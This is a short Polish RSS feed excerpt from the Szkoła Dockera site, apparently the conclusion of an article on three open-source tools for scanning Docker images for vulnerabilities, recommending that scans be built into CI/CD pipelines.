Oprogramowanie jest (nadal) tworzone przez ludzi i ludzie popełniają błędy. Nie pozwól, aby takie błędy prześladowały Twoje obrazy Dockera. Skorzystaj z narzędzi do skanowania podatności i uchroń się przed już wykrytymi problemami bezpieczeństwa. Zintegruj skanowanie obrazów jako część procesu CI / CD oraz zablokuj wdrażanie aplikacji, gdy podatności bezpieczeństwa zostaną wykryte.

Artykuł Top 3 Narzędzia Open-Source Do Wykrywania Podatności w Dockerze pochodzi z serwisu Szkoła Dockera.

]]>
https://szkoladockera.pl/top-3-narzedzia-open-source-do-wykrywania-podatnosci-w-dockerze/feed/ 0